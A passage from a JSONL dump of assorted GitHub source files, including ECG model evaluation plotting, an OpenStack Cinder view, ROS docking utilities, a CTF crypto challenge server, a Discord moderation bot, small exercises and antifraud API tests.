ax[1].set_title(\"Metrics during Model Training\", fontsize=15)\n ax[1].set_xlabel(\"Epoch\", fontsize=14)\n\n plt.suptitle('CNN+LSTM Model', fontsize=18)\n\n plt.tight_layout()\n fig.savefig(\"lstm.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"lstm.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n\n attn_model = RNNAttentionModel(1, 64, 'lstm', False).to(config.device)\n attn_model.load_state_dict(\n torch.load(config.attn_state_path,\n map_location=config.device)\n );\n attn_model.eval();\n logs = pd.read_csv(config.attn_logs)\n\n colors = ['#C042FF', '#03C576FF', '#FF355A', '#03C5BF', '#96C503', '#C5035B']\n palettes = [sns.color_palette(colors, 2),\n sns.color_palette(colors, 4),\n sns.color_palette(colors[:2] + colors[-2:] + colors[2:-2], 6)]\n\n fig, ax = plt.subplots(1, 2, figsize=(12, 4))\n\n sns.lineplot(data=logs.iloc[:, :2], palette=palettes[0], markers=True, ax=ax[0], linewidth=2.5, )\n ax[0].set_title(\"Loss Function during Model Training\", fontsize=14)\n ax[0].set_xlabel(\"Epoch\", fontsize=14)\n\n sns.lineplot(data=logs.iloc[:, 2:6], palette=palettes[1], markers=True, ax=ax[1], linewidth=2.5, legend=\"full\")\n ax[1].set_title(\"Metrics during Model Training\", fontsize=15)\n ax[1].set_xlabel(\"Epoch\", fontsize=14)\n\n plt.suptitle('CNN+LSTM+Attention Model', fontsize=18)\n\n plt.tight_layout()\n fig.savefig(\"attn.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"attn.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n\n # ## Experiments and Results for Test Stage\n\n test_df = pd.read_csv(config.test_csv_path)\n print(test_df.shape)\n test_dataset = ECGDataset(test_df)\n test_dataloader = DataLoader(dataset=test_dataset, batch_size=96, num_workers=0, shuffle=False)\n\n models = [cnn_model, lstm_model, attn_model]\n\n # ### cnn model report\n\n y_pred, y_true = make_test_stage(test_dataloader, models[0])\n y_pred.shape, y_true.shape\n\n report = pd.DataFrame(\n classification_report(\n y_pred,\n y_true,\n output_dict=True\n )\n ).transpose()\n\n colors = ['#00FA9A', '#D2B48C', '#FF69B4'] # random.choices(list(mcolors.CSS4_COLORS.values()), k = 3)\n report_plot = report.apply(lambda x: x * 100)\n ax = report_plot[[\"precision\", \"recall\", \"f1-score\"]].plot(kind='bar',\n figsize=(13, 4), legend=True, fontsize=15, color=colors)\n\n ax.set_xlabel(\"Estimators\", fontsize=15)\n ax.set_xticklabels(\n list(id_to_label.values()) + [\"accuracy avg\", \"marco avg\", \"weighted avg\"],\n rotation=15, fontsize=11)\n ax.set_ylabel(\"Percentage\", fontsize=15)\n plt.title(\"CNN Model Classification Report\", fontsize=20)\n\n for percentage, p in zip(\n report[['precision', 'recall', 'f1-score']].values,\n ax.patches):\n percentage = \" \".join([str(round(i * 100, 2)) + \"%\" for i in percentage])\n x = p.get_x() + p.get_width() - 0.4\n y = p.get_y() + p.get_height() / 4\n ax.annotate(percentage, (x, y), fontsize=8, rotation=15, fontweight='bold')\n fig.savefig(\"cnn_report.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"cnn_report.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n plt.show()\n\n # ### cnn+lstm model report\n\n y_pred, y_true = make_test_stage(test_dataloader, models[1])\n y_pred.shape, y_true.shape\n\n report = pd.DataFrame(\n classification_report(\n y_pred,\n y_true,\n output_dict=True\n )\n ).transpose()\n\n colors = ['#00FA9A', '#D2B48C', '#FF69B4'] # random.choices(list(mcolors.CSS4_COLORS.values()), k = 3)\n report_plot = report.apply(lambda x: x * 100)\n ax = report_plot[[\"precision\", \"recall\", \"f1-score\"]].plot(kind='bar',\n figsize=(13, 4), legend=True, fontsize=15, color=colors)\n\n ax.set_xlabel(\"Estimators\", fontsize=15)\n ax.set_xticklabels(\n list(id_to_label.values()) + [\"accuracy avg\", \"marco avg\", \"weighted avg\"],\n rotation=15, fontsize=11)\n ax.set_ylabel(\"Percentage\", fontsize=15)\n plt.title(\"CNN+LSTM Model Classification Report\", fontsize=20)\n\n for percentage, p in zip(\n report[['precision', 'recall', 'f1-score']].values,\n ax.patches):\n percentage = \" \".join([str(round(i * 100, 2)) + \"%\" for i in percentage])\n x = p.get_x() + p.get_width() - 0.4\n y = p.get_y() + p.get_height() / 4\n ax.annotate(percentage, (x, y), fontsize=8, rotation=15, fontweight='bold')\n fig.savefig(\"lstm_report.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"lstm_report.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n plt.show()\n\n # ### cnn+lstm+attention model report\n\n y_pred, y_true = make_test_stage(test_dataloader, models[2])\n y_pred.shape, y_true.shape\n\n report = pd.DataFrame(\n classification_report(\n y_pred,\n y_true,\n output_dict=True\n )\n ).transpose()\n\n colors = ['#00FA9A', '#D2B48C', '#FF69B4'] # random.choices(list(mcolors.CSS4_COLORS.values()), k = 3)\n report_plot = report.apply(lambda x: x * 100)\n ax = report_plot[[\"precision\", \"recall\", \"f1-score\"]].plot(kind='bar',\n figsize=(13, 4), legend=True, fontsize=15, color=colors)\n\n ax.set_xlabel(\"Estimators\", fontsize=15)\n ax.set_xticklabels(\n list(id_to_label.values()) + [\"accuracy avg\", \"marco avg\", \"weighted avg\"],\n rotation=15, fontsize=11)\n ax.set_ylabel(\"Percentage\", fontsize=15)\n plt.title(\"CNN+LSTM+Attention Model Classification Report\", fontsize=20)\n\n for percentage, p in zip(\n report[['precision', 'recall', 'f1-score']].values,\n ax.patches):\n percentage = \" \".join([str(round(i * 100, 2)) + \"%\" for i in percentage])\n x = p.get_x() + p.get_width() - 0.4\n y = p.get_y() + p.get_height() / 4\n ax.annotate(percentage, (x, y), fontsize=8, rotation=15, fontweight='bold')\n fig.savefig(\"attn_report.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"attn_report.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n plt.show()\n\n # ### Ensemble of all models\n\n y_pred = np.zeros((y_pred.shape[0], 5), dtype=np.float32)\n for i, model in enumerate(models, 1):\n y_pred_, y_true = make_test_stage(test_dataloader, model, True)\n y_pred += y_pred_\n y_pred /= i\n y_pred = np.argmax(y_pred, axis=1)\n\n clf_report = classification_report(y_pred,\n y_true,\n labels=[0, 1, 2, 3, 4],\n target_names=list(id_to_label.values()), # ['N', 'S', 'V', 'F', 'Q'],\n output_dict=True)\n\n plt.figure(figsize=(10, 8))\n ax = sns.heatmap(pd.DataFrame(clf_report).iloc[:-1, :].T, annot=True)\n ax.set_xticklabels(ax.get_xticklabels(), fontsize=15)\n ax.set_yticklabels(ax.get_yticklabels(), fontsize=12, rotation=0)\n plt.title(\"Ensemble Classification Report\", fontsize=20)\n plt.savefig(f\"ensemble result.svg\", format=\"svg\", bbox_inches='tight', pad_inches=0.2)\n plt.savefig(f\"ensemble result.png\", format=\"png\", bbox_inches='tight', pad_inches=0.2)\n clf_report\n","repo_name":"kuai364354200/ECG","sub_path":"ecg-classification-cnn-lstm-attention-mec-5ae284.py","file_name":"ecg-classification-cnn-lstm-attention-mec-5ae284.py","file_ext":"py","file_size_in_byte":31273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9579966005","text":"from cinder.api import microversions as mv\nfrom cinder.api.views import backups as views_v2\nfrom cinder.common import constants as cinder_constants\n\n\nclass ViewBuilder(views_v2.ViewBuilder):\n \"\"\"Model a backups API V3 response as a python dictionary.\"\"\"\n\n def detail(self, request, backup):\n \"\"\"Detailed view of a single backup.\"\"\"\n backup_ref = super(ViewBuilder, self).detail(request, backup)\n\n # Add metadata if min version is greater than or equal to\n # BACKUP_METADATA.\n req_version = request.api_version_request\n if req_version.matches(mv.BACKUP_METADATA):\n backup_ref['backup']['metadata'] = backup.metadata\n\n if req_version.matches(mv.ENCRYPTION_KEY_ID_IN_DETAILS, None):\n encryption_key_id = backup.get('encryption_key_id', None)\n if (encryption_key_id and\n encryption_key_id != cinder_constants.FIXED_KEY_ID):\n backup_ref['backup']['encryption_key_id'] = encryption_key_id\n\n return backup_ref\n","repo_name":"openstack/cinder","sub_path":"cinder/api/v3/views/backups.py","file_name":"backups.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":628,"dataset":"github-code","pt":"66"}
+{"seq_id":"18080131906","text":"'''\n4. 定义一个 Employee 雇员类,要求如下:\n(1) 属性有:id、name、salary\n(2) 运算符重载+:实现两个对象相加时,默认返回他们的薪水和\n(3) 构造方法要求:输入 name、salary,不输入 id。id 采用自增的方式,从 1000 开始自增,第一个新增对象是 1001,第二个新增对象是 1002。\n(4) 根据 salary 属性,使用@property 设置属性的 get 和 set 方法。set 方法要求输入:1000-50000 范围的数字。\n'''\n\nclass Employee:\n\n id = 1000\n \n def __init__(self,name,salary):\n self.name = name\n self.__salary = salary\n Employee.id += 1\n\n @property\n def salary(self):\n return self.__salary\n \n @salary.setter\n def setsalary(self,salary):\n if 1000 Optional[ListNode]:\n \"\"\"\n 그냥 계산해서 새로운 리스트를 생성\n \"\"\"\n s1, s2 = 0, 0\n p1, p2 = l1, l2\n while p1:\n s1 = s1* 10 + p1.val\n p1 = p1.next\n while p2:\n s2 = s2* 10 + p2.val\n p2 = p2.next\n p = head = ListNode()\n for c in str(s1+s2):\n p.next = ListNode(int(c))\n p = p.next\n return head.next\n \n \n\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n def expandListFront(node: ListNode, length: int, val: int) -> ListNode:\n for _ in range(length):\n temp = ListNode(val)\n temp.next = node\n node = temp\n return node\n\n # Carry를 리턴하고, cur1 링크드리스트에 결과값을 추가.\n def addCurrentNode(cur1: ListNode, cur2: ListNode) -> int:\n carry = 0\n if cur1.next and cur2.next:\n carry = addCurrentNode(cur1.next, cur2.next)\n s = cur1.val + cur2.val + carry\n cur1.val = s % 10\n return s // 10\n\n n1, cur1, n2, cur2 = 0, l1, 0, l2\n while cur1:\n cur1, n1 = cur1.next, n1 + 1\n while cur2:\n cur2, n2 = cur2.next, n2 + 1\n if n1 < n2:\n l1 = expandListFront(l1, n2 - n1, 0)\n else:\n l2 = expandListFront(l2, n1 - n2, 0)\n\n carry = addCurrentNode(l1, l2)\n if carry == 1:\n l1 = expandListFront(l1, 1, 1)\n return l1\n","repo_name":"hanwgyu/algorithm_problem_solving","sub_path":"Leetcode/Add_Two_Numbers_II.py","file_name":"Add_Two_Numbers_II.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"70498149331","text":"#!/usr/bin/env python3\nfrom os import urandom\nfrom random import choices\nfrom hashlib import sha256\nimport signal\nimport string\nimport sys\n\n# from flag import FLAG\n\n\ndef getrandbits(bit):\n return int.from_bytes(urandom(bit >> 3), \"big\")\n\n\ndef proof_of_work() -> bool:\n alphabet = string.ascii_letters + string.digits\n nonce = \"\".join(choices(alphabet, k=8))\n nonce = '00000000' \n print(f'SHA256(\"{nonce}\" + ?) starts with \"00000\"')\n suffix = input().strip()\n message = (nonce + suffix).encode(\"Latin-1\")\n return sha256(message).digest().hex().startswith(\"00000\")\n\n\ndef main():\n # signal.alarm(60)\n # if not proof_of_work():\n # return\n \n secret = getrandbits(1024)\n print(\"Listen...The secret iz...M2@9c0f*#aF()I!($Ud3;J...\"\n \"Hello?...really noisy here again...God bless you get it...\")\n for i in range(64):\n try:\n op = input().strip()\n num = input().strip()\n except EOFError:\n return\n if not str.isnumeric(num):\n print(\"INVALID NUMBER\")\n continue\n num = int(num)\n if op == 'god':\n print(num * getrandbits(992) % secret)\n elif op == 'bless':\n if num == secret:\n\n try:\n from datetime import datetime\n except Exception as e:\n FLAG = \"but something is error. Please contact the admin.\"\n\n print(\"SYC{123321}\")\n return\n print(\"WRONG SECRET\")\nmain()\n","repo_name":"ljahum/crypto-challenges","sub_path":"2020归档/ByteCTF/noise/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"66"}
+{"seq_id":"27162803849","text":"import sys\nfrom app.main.jobs.tools_runner.console_parameters import ConsoleToolParameters\n\n\nclass AccuracyCheckerCliParameters(ConsoleToolParameters):\n\n def __init__(self):\n super(AccuracyCheckerCliParameters, self).__init__()\n self.path = sys.executable\n\n def __str__(self, parameter_prefix='-'):\n if not self.exe:\n raise AssertionError('Name of application did not set')\n exe_path = self.path + ' ' + self.exe\n params = ' '.join(\n ['{p}{k} {v}'.format(p=parameter_prefix, k=key, v=value) for key, value in self.params.items()])\n return exe_path + ' ' + params\n","repo_name":"nathanbangwa243/VLinder-AI","sub_path":"intel/openvino_2019.3.376/deployment_tools/tools/workbench/app/main/console_tool_wrapper/accuracy_tools/accuracy_cli_parameters.py","file_name":"accuracy_cli_parameters.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"74022466770","text":"import math\nfrom typing import Tuple, List\nimport numpy as np\n\nimport tf\nfrom tf import transformations as ts\n\nfrom geometry_msgs.msg import TransformStamped\nfrom nav_msgs.msg import Odometry\nfrom autodock_core.msg import AutoDockingFeedback\n\n\n##############################################################################\n\nPose2D = Tuple[float, float, float]\n\n\nclass DockState:\n INVALID = AutoDockingFeedback.STATE_INVALID\n IDLE = AutoDockingFeedback.STATE_IDLE\n PREDOCK = AutoDockingFeedback.STATE_PREDOCK\n PARALLEL_CORRECTION = AutoDockingFeedback.STATE_PARALLEL_CORRECTION\n STEER_DOCK = AutoDockingFeedback.STATE_STEER_DOCK\n LAST_MILE = AutoDockingFeedback.STATE_LAST_MILE\n ACTIVATE_CHARGER = AutoDockingFeedback.STATE_ACTIVATE_CHARGER\n RETRY = AutoDockingFeedback.STATE_RETRY\n PAUSE = AutoDockingFeedback.STATE_PAUSE\n\n def to_string(input):\n _map = {\n DockState.INVALID: 'INVALID',\n DockState.IDLE: 'IDLE',\n DockState.PREDOCK: 'PREDOCK',\n DockState.PARALLEL_CORRECTION: 'PARALLEL_CORRECTION',\n DockState.STEER_DOCK: 'STEER_DOCK',\n DockState.LAST_MILE: 'LAST_MILE',\n DockState.ACTIVATE_CHARGER: 'ACTIVATE_CHARGER',\n DockState.RETRY: 'RETRY',\n DockState.PAUSE: 'PAUSE'\n }\n return _map[input]\n\n def to_percent(input):\n \"\"\"\n Simple util to convert DockState to percent representation,\n use in publishing feedback in dock server\n \"\"\"\n _map = {\n DockState.IDLE: 0.0,\n DockState.PREDOCK: 0.15,\n DockState.PARALLEL_CORRECTION: 0.35,\n DockState.STEER_DOCK: 0.50,\n DockState.LAST_MILE: 0.8,\n DockState.ACTIVATE_CHARGER: 0.9,\n DockState.RETRY: 0.1,\n DockState.PAUSE: 0.1 # TODO\n }\n return _map[input]\n\n##############################################################################\n\n\ndef get_2d_inverse(pose_2d: Pose2D) -> Pose2D:\n \"\"\"\n Inverse a 2d transformation, mainly to switch the frame of reference\n :param tf1, tf2: 2d transformation\n :return: 2d tf of [x, y, yaw]\n \"\"\"\n _tr = (pose_2d[0], pose_2d[1], 0)\n _q = ts.quaternion_from_euler(0, 0, pose_2d[2])\n _tf_mat = ts.concatenate_matrices(\n ts.translation_matrix(_tr), ts.quaternion_matrix(_q))\n _i_tf_mat = ts.inverse_matrix(_tf_mat)\n trans = ts.translation_from_matrix(_i_tf_mat)\n euler = ts.euler_from_matrix(_i_tf_mat)\n return trans[0], trans[1], euler[2]\n\n\ndef get_centre_tf(tf1: np.ndarray, tf2: np.ndarray, offset=0.0) -> Pose2D:\n \"\"\"\n Get centre point of both tf1 and tf2, Note that this output new frame\n has a different orientation as the marker, which it's frame is x axis\n (pointing out of the marker) is directed towards the robot's camera.\n :param tf1, tf2: 4x4 homogenous matrix from tf1 and tf2\n :param offset: (optional) offset target point to the normal\n :return: 2d tf of the centre [x, y, yaw]\n \"\"\"\n x1, y1, _ = get_2d_pose(tf1)\n x2, y2, _ = get_2d_pose(tf2)\n _x = (x1 + x2)/2\n _y = (y1 + y2)/2\n _yaw = -math.atan2((x2 - x1), (y2 - y1))\n _x += math.cos(_yaw)*offset\n _y += math.sin(_yaw)*offset\n # print(\"Inverse! \", get_2d_inverse((_x, _y, _yaw))) # for sanity check\n return _x, _y, _yaw\n\n\ndef get_mat_from_transfrom_msg(msg: TransformStamped) -> np.ndarray:\n \"\"\"\n This will return a homogenous transformation of transform msg\n :param : input transform msg\n :return : homogenous transformation matrix\n \"\"\"\n _rot = msg.transform.rotation\n _q = (_rot.x, _rot.y, _rot.z, _rot.w)\n\n _trans = msg.transform.translation\n _tr = (_trans.x, _trans.y, _trans.z)\n _tf_mat = ts.concatenate_matrices(\n ts.translation_matrix(_tr), ts.quaternion_matrix(_q))\n return _tf_mat\n\n\ndef get_mat_from_odom_msg(msg: Odometry) -> np.ndarray:\n \"\"\"\n This will return a homogenous transformation of odom pose msg\n :param : input odom msg\n :return : homogenous transformation matrix\n \"\"\"\n _rot = msg.pose.pose.orientation\n _q = (_rot.x, _rot.y, _rot.z, _rot.w)\n _trans = msg.pose.pose.position\n _tr = (_trans.x, _trans.y, _trans.z)\n _tf_mat = ts.concatenate_matrices(\n ts.translation_matrix(_tr), ts.quaternion_matrix(_q))\n return _tf_mat\n\n\ndef get_2d_pose(_tf: np.ndarray) -> Pose2D:\n \"\"\"\n :param: input homogenous matrix\n :return : 2dPose in x, y, yaw format\n \"\"\"\n trans = ts.translation_from_matrix(_tf)\n euler = ts.euler_from_matrix(_tf)\n return trans[0], trans[1], euler[2]\n\n\ndef apply_2d_transform(mat: np.ndarray, transform: Pose2D) -> np.ndarray:\n \"\"\"\n Apply a 2d transform to a homogenous matrix\n :param mat: the input 4x4 homogenous matrix\n :param transform : 2d transform which to apply to the mat\n :return : transformed homogenous transformation matrix\n \"\"\"\n # req target transformation from base\n q = tf.transformations.quaternion_from_euler(0, 0, transform[2])\n tf_mat = ts.concatenate_matrices(\n ts.translation_matrix(\n (transform[0], transform[1], 0)), ts.quaternion_matrix(q))\n return np.matmul(mat, tf_mat)\n\n\ndef compute_tf_diff(current_tf: np.ndarray, ref_tf: np.ndarray) -> Pose2D:\n \"\"\"\n Find the diff of two transformation matrix\n :param : homogenous transformation of 2 matrices\n :return : the 2d planer trans fo the 2 inputs; [x, y, yaw]\n \"\"\"\n tf_diff = np.matmul(ts.inverse_matrix(current_tf), ref_tf)\n trans = ts.translation_from_matrix(tf_diff)\n euler = ts.euler_from_matrix(tf_diff)\n return trans[0], trans[1], euler[2]\n\n\ndef avg_2d_poses(poses: List[Pose2D]) -> Pose2D:\n \"\"\"\n Provide the average of a list of 2D poses\n :param poses : a list of 2d poses\n :return : output avg Pose2D\n \"\"\"\n _l = len(poses)\n if (_l == 0):\n return None\n _x = 0\n _y = 0\n _yaw = 0\n for pose in poses:\n _x += pose[0]\n _y += pose[1]\n _yaw += pose[2]\n return _x/_l, _y/_l, _yaw/_l\n\n\ndef sat_proportional_filter(\n input: float, abs_min=0.0, abs_max=10.0, factor=1) -> float:\n \"\"\"\n Simple saturated proportional filter\n :param input : input value\n :param abs_min and abs_max : upper and lower bound, abs value\n :param factor : multiplier factor for the input value\n :return : output filtered value, within boundary\n \"\"\"\n output = 0.0\n input *= factor\n if abs(input) < abs_min:\n if (input < 0):\n output = -abs_min\n else:\n output = abs_min\n elif abs(input) > abs_max:\n if (input > 0):\n output = abs_max\n else:\n output = -abs_max\n else:\n output = input\n return output\n\n\ndef bin_filter(input: float, abs_boundary: float) -> float:\n \"\"\"\n Simple binary filter, will provide abs_ceiling as a binary output,\n according to the 'negativity' of the input value\n :param input : input value\n :param abs_boundary : abs boundary value\n :return : output binary value\n \"\"\"\n output = abs(abs_boundary)\n if input < 0:\n output = -abs(abs_boundary)\n return output\n\n\ndef flip_yaw(yaw: float) -> float:\n \"\"\"\n Flip yaw angle by 180 degree, input yaw range should be within\n [-pi, pi] radian. Else use set_angle() fn to fix the convention.\n Output will also be within the same range of [-pi, pi] radian.\n \"\"\"\n if yaw >= 0:\n return yaw - math.pi\n else:\n return yaw + math.pi\n\n\ndef set_angle(angle: float) -> float:\n \"\"\"\n Ensure the angle is within the range of [-pi, pi] radian convention\n \"\"\"\n return math.atan2(math.sin(angle), math.cos(angle))\n\n\ndef flip_base_frame(input: Pose2D):\n \"\"\"\n Flip the current reference frame by 180 degree. As such, the negativity \n of translation is flipped, and the yaw angle is located at the opposite \n quadrant. Currently is used to flip from 'back dock' to 'front dock'\n \"\"\"\n return -input[0], -input[1], flip_yaw(input[2])\n","repo_name":"osrf/autodock","sub_path":"autodock_core/scripts/autodock_core/autodock_utils.py","file_name":"autodock_utils.py","file_ext":"py","file_size_in_byte":8176,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"66"}
+{"seq_id":"24148016016","text":"import time\n\nprint('Press ENTER to begin. Afterwards, press ENTER to \"click\" the stopwatch. Press \"cc\" to quit.')\ninput()\nprint('Started.')\nstarttime = time.time()\nlasttime = starttime\nlapNum = 1\n\ntry:\n while True:\n input_text = input()\n if input_text == 'cc':\n raise Exception('Done.')\n # 循环一圈的时间\n lapTime = round(time.time() - lasttime, 2)\n # 总循环时间\n totalTime = round(time.time() - starttime, 2)\n print('Lap #%s: %s (%s)' % (lapNum, totalTime, lapTime))\n lapNum += 1\n lasttime = time.time()\nexcept Exception as err:\n print(err)\n","repo_name":"qiyue0421/automate_the_boring_stuff_with_python","sub_path":"20190310_2.py","file_name":"20190310_2.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73616672851","text":"valorCasa = float(input('Valor da casa (R$): '))\nsalario = float(input('Salário do comprador: '))\ntempo = int(input('Tempo para pagamento (anos): '))\nnParcelas = tempo * 12\nvrParcela = valorCasa / nParcelas\nif vrParcela / salario <= 0.30:\n print('Proposta de financiamento: \\033[33m{} '\n 'parcelas mensais\\033[m de \\033[33mR$ {:.2f}\\033[m.'.format(nParcelas, vrParcela))\nelse:\n print('Solicitação de financiamento \\033[31mnegada\\033[m.')\n","repo_name":"cassiorabelo/Estudonauta-Python","sub_path":"Desafios/a12d036 analFinanc.py","file_name":"a12d036 analFinanc.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5490713939","text":"import discord\nimport asyncio\nclient = discord.Client()\n@client.event\nasync def on_ready():\n\twhile 1:\n\t\tfor guild in client.guilds:\n\t\t\tfor member in guild.members:\n\t\t\t\tfor x in member.activities:\n\t\t\t\t\tif type(x) == discord.Game:\n\t\t\t\t\t\tprint(x)\n\t\t\t\t\t\tif str(x) == \"Geometry Dash\":\n\t\t\t\t\t\t\ta = await client.get_user_info(member.id)\n\t\t\t\t\t\t\tawait a.send(f'You have been banned from `{guild}`\\nReason: playing GD')\n\t\t\t\t\t\t\tawait guild.ban(member)\n\t\tawait asyncio.sleep(5)\nclient.run(\"TOKEN_HHERE\")\n","repo_name":"xewoks/AntiGDBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"34783202700","text":"from pico2d import *\r\nimport random\r\n\r\nclass Grass:\r\n def __init__(self):\r\n self.image = load_image('grass.png')\r\n self.x, self.y = 400, 30\r\n def draw(self):\r\n self.image.draw(self.x, self.y)\r\n\r\n def update(self):\r\n pass\r\n\r\nclass Boy:\r\n def __init__(self):\r\n self.x, self.y = 100, 90\r\n self.image = load_image('run_animation.png')\r\n self.frame = 0\r\n\r\n def draw(self):\r\n sx = self.frame * 100\r\n self.image.clip_draw(sx, 0, 100, 100, self.x, self.y)\r\n\r\n def update(self):\r\n self.frame = (self.frame + 1) % 8\r\n self.x += 1\r\n\r\ndef handle_events():\r\n global loop\r\n events = get_events()\r\n for e in events:\r\n if e.type == SDL_QUIT:\r\n loop = False # end the game loop \r\n elif e.type == SDL_KEYDOWN:\r\n if e.key == SDLK_ESCAPE:\r\n loop = False\r\n\r\nopen_canvas()\r\n\r\ng = Grass()\r\nboys = [Boy() for i in range(11)]\r\nx = 100\r\nfor b in boys:\r\n b.x = x\r\n x += 50\r\n\r\nloop = True\r\nwhile (loop):\r\n #b.update()\r\n for b in boys: \r\n b.update()\r\n\r\n clear_canvas()\r\n\r\n g.draw()\r\n for b in boys:\r\n b.draw()\r\n\r\n update_canvas()\r\n handle_events()\r\n\r\n delay(0.03) \r\n\r\nclose_canvas()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"surimLee/Python_study_","sub_path":"game6.py","file_name":"game6.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33556070432","text":"import pytest\n\nfrom test_taxi_antifraud.utils import utils\n\n\n@pytest.mark.parametrize(\n 'params',\n [\n ({'order_id': 'not_existing_value'}),\n ({'phone_id': 'not_existing_value'}),\n ({'personal_phone_id': 'not_existing_value'}),\n ],\n)\nasync def test_get_antifake_triggering_no_data(web_app_client, params):\n response = await web_app_client.get(\n '/v1/get_antifake_triggering_list', params=params,\n )\n assert response.status == 200\n\n assert await response.json() == []\n\n\n@pytest.mark.parametrize(\n 'params',\n [\n ({}),\n ({'phone_id': 'some_value', 'order_id': 'some_value'}),\n ({'order_id': 'some_value', 'personal_phone_id': 'some_value'}),\n (\n {\n 'order_id': 'some_value',\n 'personal_phone_id': 'some_value',\n 'phone_id': 'some_value',\n }\n ),\n ],\n)\nasync def test_get_antifake_triggering_bad_request(web_app_client, params):\n response = await web_app_client.get(\n '/v1/get_antifake_triggering_list', params=params,\n )\n assert response.status == 400\n\n\n@pytest.mark.parametrize(\n 'params,expected',\n [\n (\n {'phone_id': 'some_phone_id'},\n [\n {\n 'order_id': 'some_order',\n 'device_id': 'some_device',\n 'user_id': 'some_user',\n 'personal_phone_id': 'some_personal',\n 'triggered_rules': ['some_rule', 'another_rule'],\n 'triggering_time': '2019-12-20T09:05:39.000Z',\n 'phone_id': 'some_phone_id',\n },\n ],\n ),\n (\n {'order_id': 'some_order'},\n [\n {\n 'order_id': 'some_order',\n 'device_id': 'some_device',\n 'user_id': 'some_user',\n 'personal_phone_id': 'some_personal',\n 'triggered_rules': ['some_rule', 'another_rule'],\n 'triggering_time': '2019-12-20T09:05:39.000Z',\n 'phone_id': 'some_phone_id',\n },\n ],\n ),\n (\n {'personal_phone_id': 'some_personal'},\n [\n {\n 'order_id': 'some_order',\n 'device_id': 'some_device',\n 'user_id': 'some_user',\n 'personal_phone_id': 'some_personal',\n 'triggered_rules': ['some_rule', 'another_rule'],\n 'triggering_time': '2019-12-20T09:05:39.000Z',\n 'phone_id': 'some_phone_id',\n },\n {\n 'order_id': 'some_order1',\n 'device_id': 'some_device1',\n 'metrica_device_id': 'metrica_id',\n 'user_id': 'some_user1',\n 'personal_phone_id': 'some_personal',\n 'triggered_rules': ['some_rule1'],\n 'triggering_time': '2019-12-21T09:05:39.000Z',\n 'phone_id': 'some_phone_id1',\n 'orders_total': 45,\n 'orders_complete': 0,\n },\n ],\n ),\n ],\n)\nasync def test_get_antifake_triggering_base(web_app_client, params, expected):\n response = await web_app_client.get(\n '/v1/get_antifake_triggering_list', params=params,\n )\n assert response.status == 200\n\n result = utils.convert_datetimes(\n await response.json(), ['triggering_time'],\n )\n expected = utils.convert_datetimes(expected, ['triggering_time'])\n\n assert result == expected\n","repo_name":"Alexander-Berg/2022-tests-examples-2","sub_path":"Taxi/test_taxi_antifraud/antifake_triggering/test_get_antifake_triggering_info.py","file_name":"test_get_antifake_triggering_info.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26565987069","text":"import json\nfrom PIL import Image, ImageDraw, ImageFont\n\nW = 1200\nH = 630\n\n# Open fonts\ntimes_120 = ImageFont.truetype('/mnt/c/Windows/Fonts/times.ttf', 120)\narial_black_40 = ImageFont.truetype('/mnt/c/Windows/Fonts/ariblk.ttf', 40)\narial_black_52 = ImageFont.truetype('/mnt/c/Windows/Fonts/ariblk.ttf', 52)\n\n# Open TOC JSON\ntoc_data = None\nwith open('_data/toc.json') as f:\n toc_data = json.load(f)\n\ndef CreateImageDirect(title, problem_title, location):\n # Create Image\n img = Image.new('RGB', (W, H), color = (255, 255, 255))\n d = ImageDraw.Draw(img)\n\n # Write texts\n d.rectangle([W/2 - 260, 50, W/2 + 260, 120], fill = (71, 41, 163))\n d.text((W/2, 100), \"CLRS SOLUTIONS\", font=arial_black_40, fill = (255, 255, 255), anchor=\"ms\")\n d.text((W/2, 180), problem_title, font=arial_black_52, fill = (45, 25, 120), anchor=\"ms\")\n d.rectangle([W/2 - 260, 120, W/2 + 260, 200], outline = (71, 41, 163), width=4)\n d.text((W/2, 360), title, font=times_120, fill = (0, 0, 0), align=\"center\", anchor=\"ms\", spacing=20)\n\n # Save image\n img.save(location)\n\ndef CreateImage(chapter, section, problem_id):\n title = ''\n problem_title = ''\n image_folder = ''\n image_filename = ''\n\n if isinstance(chapter, int):\n image_folder = 